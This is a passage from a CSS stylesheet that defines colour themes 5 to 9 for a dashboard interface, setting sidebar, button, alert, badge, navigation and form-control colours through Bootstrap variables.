.dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #B9406B; } body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #B9406B; } body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #B9406B; } body.theme-5 a:not([class]) { color: #B9406B; } body.theme-5 a:not([class]):hover { color: #B9406B; } body.theme-5 .text-primary { color: #B9406B !important; } body.theme-5 .list-group-item.active { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B !important; } body.theme-5 .progress-bar:not([class*="bg-"]), body.theme-5 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #B9406B; --bs-btn-border-color: #B9406B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #9d365b; --bs-btn-hover-border-color: #943356; --bs-btn-focus-shadow-rgb: 196, 93, 129; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #943356; --bs-btn-active-border-color: #8b3050; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #B9406B; --bs-btn-disabled-border-color: #B9406B; } body.theme-5 .btn-outline-primary { --bs-btn-color: #B9406B; --bs-btn-border-color: #B9406B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #B9406B; --bs-btn-hover-border-color: #B9406B; --bs-btn-focus-shadow-rgb: 185, 64, 107; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #B9406B; --bs-btn-active-border-color: #B9406B; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #B9406B; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #B9406B; --bs-gradient: none; } body.theme-5 .btn-light-primary { background: #f1d9e1; color: #B9406B; border-color: #f1d9e1; } body.theme-5 .btn-light-primary:hover { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .btn-light-primary.focus, body.theme-5 .btn-light-primary:focus { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-5 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-5 .btn-light-primary.dropdown-toggle { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .btn-check:active + .btn-light-primary, body.theme-5 .btn-check:checked + .btn-light-primary { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .alert-primary { --bs-alert-color: #6f2640; --bs-alert-bg: #f1d9e1; --bs-alert-border-color: #eac6d3; } body.theme-5 .alert-primary .alert-link { color: #591e33; } body.theme-5 .badge.bg-light-primary { background: #f1d9e1; color: #B9406B; border-color: #f1d9e1; } body.theme-5 .page-item.active .page-link { background: #B9406B; border-color: #B9406B; } body.theme-5 .nav-link { color: #B9406B; } body.theme-5 .nav-link:hover, body.theme-5 .nav-link:focus { color: #B9406B; } body.theme-5 .nav-tabs .nav-link { background: none; } body.theme-5 .nav-pills .nav-link { background: none; } body.theme-5 .nav-pills .nav-link:focus, body.theme-5 .nav-pills .nav-link.active, body.theme-5 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; } body.theme-5 .form-check-input:focus, body.theme-5 .form-select:focus, body.theme-5 .form-control:focus, body.theme-5 .custom-select:focus, body.theme-5 .dataTable-selector:focus, body.theme-5 .dataTable-input:focus { border-color: #B9406B; box-shadow: 0 0 0 0.2rem rgba(185, 64, 107, 0.25); } body.theme-5 .form-check-input:checked { background-color: #B9406B; border-color: #B9406B; } body.theme-5 .form-range::-webkit-slider-thumb { background: #B9406B; } body.theme-5 .form-range::-webkit-slider-thumb:active { background: #B9406B; } body.theme-5 .form-range::-moz-range-thumb { background: #B9406B; } body.theme-5 .form-range::-moz-range-thumb:active { background: #B9406B; } body.theme-5 .form-check-input:checked { background-color: #B9406B; border-color: #B9406B; } body.theme-5 .form-check-input[type="checkbox"]:indeterminate { background-color: #B9406B; border-color: #B9406B; } body.theme-5 .form-check .form-check-input.input-primary:checked { background-color: #B9406B; border-color: #B9406B; } body.theme-5 pre[class*="language-"] > code { border-left-color: #B9406B; background-image: linear-gradient(transparent 50%, rgba(185, 64, 107, 0.04) 50%); } body.theme-5 .card .card-header h5:after, body.theme-5 .card .card-header .h5:after, body.theme-5 .card .card-header .h5:after { background: #B9406B; } body.theme-6 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-6 .bg-primary { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC !important; } body.theme-6 .dash-header .drp-language .drp-text, body.theme-6 .dash-header .dash-head-link > i:not(.nocolor) { color: #008ECC; } body.theme-6 .dash-header .drp-company .theme-avtar { background: #cce8f5; color: #008ECC; } body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; color: #fff; box-shadow: 0 5px 7px -1px rgba(0, 142, 204, 0.3); } body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #008ECC; } body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #008ECC; } body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #008ECC; } body.theme-6 a:not([class]) { color: #008ECC; } body.theme-6 a:not([class]):hover { color: #008ECC; } body.theme-6 .text-primary { color: #008ECC !important; } body.theme-6 .list-group-item.active { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC !important; } body.theme-6 .progress-bar:not([class*="bg-"]), body.theme-6 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #008ECC; --bs-btn-border-color: #008ECC; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0079ad; --bs-btn-hover-border-color: #0072a3; --bs-btn-focus-shadow-rgb: 38, 159, 212; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0072a3; --bs-btn-active-border-color: #006b99; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #008ECC; --bs-btn-disabled-border-color: #008ECC; } body.theme-6 .btn-outline-primary { --bs-btn-color: #008ECC; --bs-btn-border-color: #008ECC; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #008ECC; --bs-btn-hover-border-color: #008ECC; --bs-btn-focus-shadow-rgb: 0, 142, 204; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #008ECC; --bs-btn-active-border-color: #008ECC; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #008ECC; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #008ECC; --bs-gradient: none; } body.theme-6 .btn-light-primary { background: #cce8f5; color: #008ECC; border-color: #cce8f5; } body.theme-6 .btn-light-primary:hover { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .btn-light-primary.focus, body.theme-6 .btn-light-primary:focus { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-6 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-6 .btn-light-primary.dropdown-toggle { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .btn-check:active + .btn-light-primary, body.theme-6 .btn-check:checked + .btn-light-primary { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .alert-primary { --bs-alert-color: #00557a; --bs-alert-bg: #cce8f5; --bs-alert-border-color: #b3ddf0; } body.theme-6 .alert-primary .alert-link { color: #004462; } body.theme-6 .badge.bg-light-primary { background: #cce8f5; color: #008ECC; border-color: #cce8f5; } body.theme-6 .page-item.active .page-link { background: #008ECC; border-color: #008ECC; } body.theme-6 .nav-link { color: #008ECC; } body.theme-6 .nav-link:hover, body.theme-6 .nav-link:focus { color: #008ECC; } body.theme-6 .nav-tabs .nav-link { background: none; } body.theme-6 .nav-pills .nav-link { background: none; } body.theme-6 .nav-pills .nav-link:focus, body.theme-6 .nav-pills .nav-link.active, body.theme-6 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; } body.theme-6 .form-check-input:focus, body.theme-6 .form-select:focus, body.theme-6 .form-control:focus, body.theme-6 .custom-select:focus, body.theme-6 .dataTable-selector:focus, body.theme-6 .dataTable-input:focus { border-color: #008ECC; box-shadow: 0 0 0 0.2rem rgba(0, 142, 204, 0.25); } body.theme-6 .form-check-input:checked { background-color: #008ECC; border-color: #008ECC; } body.theme-6 .form-range::-webkit-slider-thumb { background: #008ECC; } body.theme-6 .form-range::-webkit-slider-thumb:active { background: #008ECC; } body.theme-6 .form-range::-moz-range-thumb { background: #008ECC; } body.theme-6 .form-range::-moz-range-thumb:active { background: #008ECC; } body.theme-6 .form-check-input:checked { background-color: #008ECC; border-color: #008ECC; } body.theme-6 .form-check-input[type="checkbox"]:indeterminate { background-color: #008ECC; border-color: #008ECC; } body.theme-6 .form-check .form-check-input.input-primary:checked { background-color: #008ECC; border-color: #008ECC; } body.theme-6 pre[class*="language-"] > code { border-left-color: #008ECC; background-image: linear-gradient(transparent 50%, rgba(0, 142, 204, 0.04) 50%); } body.theme-6 .card .card-header h5:after, body.theme-6 .card .card-header .h5:after, body.theme-6 .card .card-header .h5:after { background: #008ECC; } body.theme-7 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-7 .bg-primary { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88 !important; } body.theme-7 .dash-header .drp-language .drp-text, body.theme-7 .dash-header .dash-head-link > i:not(.nocolor) { color: #922C88; } body.theme-7 .dash-header .drp-company .theme-avtar { background: #e9d5e7; color: #922C88; } body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; color: #fff; box-shadow: 0 5px 7px -1px rgba(146, 44, 136, 0.3); } body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #922C88; } body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #922C88; } body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #922C88; } body.theme-7 a:not([class]) { color: #922C88; } body.theme-7 a:not([class]):hover { color: #922C88; } body.theme-7 .text-primary { color: #922C88 !important; } body.theme-7 .list-group-item.active { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88 !important; } body.theme-7 .progress-bar:not([class*="bg-"]), body.theme-7 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #922C88; --bs-btn-border-color: #922C88; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #7c2574; --bs-btn-hover-border-color: #75236d; --bs-btn-focus-shadow-rgb: 162, 76, 154; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #75236d; --bs-btn-active-border-color: #6e2166; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #922C88; --bs-btn-disabled-border-color: #922C88; } body.theme-7 .btn-outline-primary { --bs-btn-color: #922C88; --bs-btn-border-color: #922C88; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #922C88; --bs-btn-hover-border-color: #922C88; --bs-btn-focus-shadow-rgb: 146, 44, 136; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #922C88; --bs-btn-active-border-color: #922C88; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #922C88; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #922C88; --bs-gradient: none; } body.theme-7 .btn-light-primary { background: #e9d5e7; color: #922C88; border-color: #e9d5e7; } body.theme-7 .btn-light-primary:hover { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .btn-light-primary.focus, body.theme-7 .btn-light-primary:focus { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-7 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-7 .btn-light-primary.dropdown-toggle { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .btn-check:active + .btn-light-primary, body.theme-7 .btn-check:checked + .btn-light-primary { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .alert-primary { --bs-alert-color: #581a52; --bs-alert-bg: #e9d5e7; --bs-alert-border-color: #dec0db; } body.theme-7 .alert-primary .alert-link { color: #461542; } body.theme-7 .badge.bg-light-primary { background: #e9d5e7; color: #922C88; border-color: #e9d5e7; } body.theme-7 .page-item.active .page-link { background: #922C88; border-color: #922C88; } body.theme-7 .nav-link { color: #922C88; } body.theme-7 .nav-link:hover, body.theme-7 .nav-link:focus { color: #922C88; } body.theme-7 .nav-tabs .nav-link { background: none; } body.theme-7 .nav-pills .nav-link { background: none; } body.theme-7 .nav-pills .nav-link:focus, body.theme-7 .nav-pills .nav-link.active, body.theme-7 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; } body.theme-7 .form-check-input:focus, body.theme-7 .form-select:focus, body.theme-7 .form-control:focus, body.theme-7 .custom-select:focus, body.theme-7 .dataTable-selector:focus, body.theme-7 .dataTable-input:focus { border-color: #922C88; box-shadow: 0 0 0 0.2rem rgba(146, 44, 136, 0.25); } body.theme-7 .form-check-input:checked { background-color: #922C88; border-color: #922C88; } body.theme-7 .form-range::-webkit-slider-thumb { background: #922C88; } body.theme-7 .form-range::-webkit-slider-thumb:active { background: #922C88; } body.theme-7 .form-range::-moz-range-thumb { background: #922C88; } body.theme-7 .form-range::-moz-range-thumb:active { background: #922C88; } body.theme-7 .form-check-input:checked { background-color: #922C88; border-color: #922C88; } body.theme-7 .form-check-input[type="checkbox"]:indeterminate { background-color: #922C88; border-color: #922C88; } body.theme-7 .form-check .form-check-input.input-primary:checked { background-color: #922C88; border-color: #922C88; } body.theme-7 pre[class*="language-"] > code { border-left-color: #922C88; background-image: linear-gradient(transparent 50%, rgba(146, 44, 136, 0.04) 50%); } body.theme-7 .card .card-header h5:after, body.theme-7 .card .card-header .h5:after, body.theme-7 .card .card-header .h5:after { background: #922C88; } body.theme-8 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-8 .bg-primary { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145 !important; } body.theme-8 .dash-header .drp-language .drp-text, body.theme-8 .dash-header .dash-head-link > i:not(.nocolor) { color: #C0A145; } body.theme-8 .dash-header .drp-company .theme-avtar { background: #f2ecda; color: #C0A145; } body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; color: #fff; box-shadow: 0 5px 7px -1px rgba(192, 161, 69, 0.3); } body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #C0A145; } body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #C0A145; } body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #C0A145; } body.theme-8 a:not([class]) { color: #C0A145; } body.theme-8 a:not([class]):hover { color: #C0A145; } body.theme-8 .text-primary { color: #C0A145 !important; } body.theme-8 .list-group-item.active { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145 !important; } body.theme-8 .progress-bar:not([class*="bg-"]), body.theme-8 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #C0A145; --bs-btn-border-color: #C0A145; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #a3893b; --bs-btn-hover-border-color: #9a8137; --bs-btn-focus-shadow-rgb: 201, 175, 97; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #9a8137; --bs-btn-active-border-color: #907934; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #C0A145; --bs-btn-disabled-border-color: #C0A145; } body.theme-8 .btn-outline-primary { --bs-btn-color: #C0A145; --bs-btn-border-color: #C0A145; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #C0A145; --bs-btn-hover-border-color: #C0A145; --bs-btn-focus-shadow-rgb: 192, 161, 69; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #C0A145; --bs-btn-active-border-color: #C0A145; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #C0A145; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #C0A145; --bs-gradient: none; } body.theme-8 .btn-light-primary { background: #f2ecda; color: #C0A145; border-color: #f2ecda; } body.theme-8 .btn-light-primary:hover { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .btn-light-primary.focus, body.theme-8 .btn-light-primary:focus { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-8 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-8 .btn-light-primary.dropdown-toggle { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .btn-check:active + .btn-light-primary, body.theme-8 .btn-check:checked + .btn-light-primary { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .alert-primary { --bs-alert-color: #736129; --bs-alert-bg: #f2ecda; --bs-alert-border-color: #ece3c7; } body.theme-8 .alert-primary .alert-link { color: #5c4e21; } body.theme-8 .badge.bg-light-primary { background: #f2ecda; color: #C0A145; border-color: #f2ecda; } body.theme-8 .page-item.active .page-link { background: #C0A145; border-color: #C0A145; } body.theme-8 .nav-link { color: #C0A145; } body.theme-8 .nav-link:hover, body.theme-8 .nav-link:focus { color: #C0A145; } body.theme-8 .nav-tabs .nav-link { background: none; } body.theme-8 .nav-pills .nav-link { background: none; } body.theme-8 .nav-pills .nav-link:focus, body.theme-8 .nav-pills .nav-link.active, body.theme-8 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; } body.theme-8 .form-check-input:focus, body.theme-8 .form-select:focus, body.theme-8 .form-control:focus, body.theme-8 .custom-select:focus, body.theme-8 .dataTable-selector:focus, body.theme-8 .dataTable-input:focus { border-color: #C0A145; box-shadow: 0 0 0 0.2rem rgba(192, 161, 69, 0.25); } body.theme-8 .form-check-input:checked { background-color: #C0A145; border-color: #C0A145; } body.theme-8 .form-range::-webkit-slider-thumb { background: #C0A145; } body.theme-8 .form-range::-webkit-slider-thumb:active { background: #C0A145; } body.theme-8 .form-range::-moz-range-thumb { background: #C0A145; } body.theme-8 .form-range::-moz-range-thumb:active { background: #C0A145; } body.theme-8 .form-check-input:checked { background-color: #C0A145; border-color: #C0A145; } body.theme-8 .form-check-input[type="checkbox"]:indeterminate { background-color: #C0A145; border-color: #C0A145; } body.theme-8 .form-check .form-check-input.input-primary:checked { background-color: #C0A145; border-color: #C0A145; } body.theme-8 pre[class*="language-"] > code { border-left-color: #C0A145; background-image: linear-gradient(transparent 50%, rgba(192, 161, 69, 0.04) 50%); } body.theme-8 .card .card-header h5:after, body.theme-8 .card .card-header .h5:after, body.theme-8 .card .card-header .h5:after { background: #C0A145; } body.theme-9 { background: linear-gradient(141.55deg, #22242C 3.46%, #22242C 99.86%); } body.theme-9 .bg-primary { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B !important; } body.theme-9 .dash-header .drp-language .drp-text, body.theme-9 .dash-header .dash-head-link > i:not(.nocolor) { color: #48494B; } body.theme-9 .dash-header .drp-company .theme-avtar { background: #dadbdb; color: #48494B; } body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; color: #fff; box-shadow: 0 5px 7px -1px rgba(72, 73, 75, 0.3); } body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #48494B; } body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #48494B; } body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #48494B; } body.theme-9 a:not([class]) { color: #48494B; } body.theme-9 a:not([class]):hover { color: #48494B; } body.theme-9 .text-primary { color: #48494B !important; } body.theme-9 .list-group-item.active { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B !important; } body.theme-9 .progress-bar:not([class*="bg-"]), body.theme-9 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #48494B; --bs-btn-border-color: #48494B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #3d3e40; --bs-btn-hover-border-color: #3a3a3c; --bs-btn-focus-shadow-rgb: 99, 100, 102; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #3a3a3c; --bs-btn-active-border-color: #363738; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #48494B; --bs-btn-disabled-border-color: #48494B; } body.theme-9 